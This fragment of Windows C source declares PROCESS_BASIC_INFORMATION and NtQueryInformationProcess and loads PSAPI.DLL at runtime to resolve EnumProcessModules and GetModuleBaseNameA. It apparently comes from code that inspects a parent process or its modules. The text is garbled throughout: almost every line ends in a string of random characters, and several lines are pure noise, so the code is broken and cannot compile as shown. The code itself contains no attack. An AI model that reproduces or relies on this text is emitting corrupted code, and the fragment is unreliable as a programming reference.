DWORD AffinityMask; ).u>%4=6
DWORD BasePriority; /Hm/%os
ULONG UniqueProcessId; /J!hKK^k
ULONG InheritedFromUniqueProcessId; F`,bFQ
} PROCESS_BASIC_INFORMATION; myOW^
^Df qc-]
PROCNTQSIP NtQueryInformationProcess; K~^o06 Y
LSXsq}
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5OOXCtIKf
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,?%Y*?v
)ytP$,r![S
HANDLE hProcess; k@n L(2
PROCESS_BASIC_INFORMATION pbi; "OkZ
[E)
ix?Z:pIS0
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rXTdhw?+
if(NULL == hInst ) return 0; "av/a
^n4aoj
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wu{%gtx/;^
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -H_#et3&i